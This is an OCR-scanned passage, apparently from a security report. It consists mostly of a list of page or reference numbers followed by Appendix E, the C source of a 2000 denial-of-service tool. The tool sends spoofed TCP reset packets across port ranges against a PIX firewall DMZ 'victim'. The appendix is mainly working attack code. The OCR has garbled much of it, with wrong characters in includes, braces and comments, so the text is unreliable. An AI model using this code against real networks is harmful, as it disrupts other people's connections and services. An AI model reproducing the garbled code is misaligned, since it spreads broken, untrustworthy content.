15424-11

87 Refering back to section 1.5 Access Requirements
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15424-12
15424-13
15424-14
15424-15
15424-16
15424-17
15424-18
15424-19
15424-20
15424-21
15424-22
15424-23
15424-24
15424-25
15424-26
155-1
155-2
155-3
155-4
155-5
155-6
155-7
1561-1
1561-2
1561-3
1561-4
1561-5
1561-6
1561-7
1561-8
1561-9
1561-10
1562-1
1562-2
1562-3
1562-4
1562-5
1562-6
1562-7
1562-8
1562-9
1562-10
1562-11
1563-1
1564-1
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1564-2
1565-1
1565-2
1571-1
1571-2
1571-3
1572-1
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APPENDIX E: PIX DMZ Denial of Service (TCP Resets)

I* reset_state.c (c) 2000 Citec Network Securities*/

* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
I* FreeBSD */

#define__BSD_SOURCE
#include <stdio.h>
#include <string.n>
#include <stdlib.h>
#include <sys/types.n>
#include <sys/socket.h>
#include <sys'wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>

struct slist {

struct in_addr spoof;
struct dlist *link;

}; I* Spoof list */

int
main(int argc, char *argv[])

{

inti,int2;

int sock; /* Socket stuff */

int on = 1; /* Socket stuff */

struct sockaddr_in sockstruct; /* Socket stuff */

struct ip *iphead; /* |P Header pointer */

struct tcphdr *tcphead; /* TCP Header pointer */

char evilpacket[sizeof(struct ip) + sizeof(struct

tcphdr)];

* Our reset packet */

int seq, ack; /* Sequence and Acknowledgement #'s

*/

FILE *spooffile; /* Spoof file*/

char *buffer; /* Spoof file read buffer */

struct slist *scur, *sfirst; /* Spoof linked list pointers */
char src[20], dst[20]; /* Work around for inet_ntoa static
*/

[* Pointers when using printf() */

int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */
int target; /* Target address from inet_addr()
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*/

if(argc < 6) {

fprintf(stderr, "Usage: %s spoof_file target sps spe dps
dpe\n”

"target = your victim\n"

"sps = Source port start\n"

"spe = Source port end\n”

"dps = Destination port start\n"

"dpe = Destination port end\n", argv[0]);

exit(-1);

}

ese{

sourcefrom = atoi(argv[3]);

sourceto = atoi(argv[4]);

destfrom = atoi(argv[9]);

destto = atoi(argv[6]);

H

if(sourcefrom > sourceto) {

printf("Error, start source port must be less than end
source port\n");

exit(-1);

}

elseif(destfrom > destto) {

printf("Error, start dest port must be less than end dest
port\n");

exit(-1);

H

printf("Used spoof file %s\n"
"Destination: [%s] ports: [%d -> %d] \n"
"Target source ports: [%d -> %d]\n",
argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);

sleep(1);

bzero(evilpacket, sizeof(evilpacket));
* Clean our reset packet */

sfirst = malloc(sizeof (struct dlist));
scur = sfirst;
scur->link = NULL; /* Setup our spoof linked list */

if(!(buffer = malloc(25))) {
perror(*malloc");

exit(-1);

}; I* Allocate for read buffer */

if ((spooffile = fopen((char *) argv[1], "r")) <=0) {
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perror("fopen”);

exit(-1); /* Open our spoof file */

} else{

while (fgets(buffer, 25, spooffile)) { /* Read till EOF */
if (!(inet_aton(buffer, & (scur->spoof))))
printf("Invalid address found in victim
file.. ignoring\n");

else{

scur->link = malloc(sizeof(struct dist));
scur = scur->link;

scur->link = NULL; /* Cyclel.list */

}
}: ¥ End of while loop */
}: F Endofif {} else{} */

free(buffer); /* Free up our read buffer */
fclose(spooffile); /* Close our spoof file */
scur = sfirst; /* Set spoof list current to first
*/

if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");

exit(-1);

} * Allocate our raw socket */

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
sizeof(on)) < 0) {

perror(*setsockopt");

exit(-1);

} I* Set socket options for raw iphead

*/

sockstruct.sin_family = AF_INET,;

iphead = (struct ip *) evilpacket;

tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
/* Align ip and tcp headers */

iphead->ip_hl = 5; /* Ip header length is5*/
iphead->ip_v = 4; /* ipv4 */

iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
/* Length of our total packet */

iphead->ip_id = htons(getpid()); /* Packet ID == PID #*/
iphead->ip_ttl = 255; /* Timeto live == 255*/
iphead->ip_p = IPPROTO_TCP; /* TCP Packet */
iphead->ip_sum = 0; /* No checksum */
iphead->ip_tos=0; /* 0 Type of Service*/
iphead->ip_off = 0; /* Offsetis0*/

tcphead->th_win = htons(512); /* TCP Window is 512 */
tcphead->th_flags= TH_RST; /* Reset packet */
tcphead->th_off = 0x50; /* TCP Offset 0x50 */
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iphead->ip_dst.s_addr = inet_addr(argv[2]);

srand(getpid()); /* Seed for rand() */
while (scur->link '= NULL) {
seq = rand() % time(NULL); /* Randomize our #s*/
ack = rand() % time(NULL); /* Randomize ack #s*/
sockstruct.sin_port = htons(rand() % time(NULL));
iphead->ip_src = scur->spoof; /* Set the spoofed address
*/
sockstruct.sin_addr = scur->spoof;
for(i = sourcefrom; i <= sourceto; i++) {
for(int2 = destfrom; int2 <= destto; int2++) {
usleep(2); /* Sleep 5ms between packets
*/
seq += (rand() %10)+250;
ack += (rand() %10)+250;
tcphead->th_seq = htonl(seq);
[* Set sequence number */
tcphead->th_ack = htonl (ack);
[* Set ack number */
tcphead->th_dport = htons(int2);
[* Set destination port */
tcphead->th_sport = htons(i);
[* Set source port */
snprintf(src, 20, "%s"',
inet_ntoa(iphead->ip_src));
snprintf(dst, 20, "%s",
inet_ntoa(iphead->ip_dst));
/* Copy info to src and dst for printing */
printf("TCP RESET: [%s:%d] -> [%s.%d]\n",
src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
sendto(sock, & evilpacket,
sizeof (evilpacket), 0x0,
(struct sockaddr *) & sockstruct,
sizeof (sockstruct));
/* Send our evil packet */
H
H
scur = scur->link; /* Cycle the spoof ips*/
}
scur = sfirst;
return (1);

1
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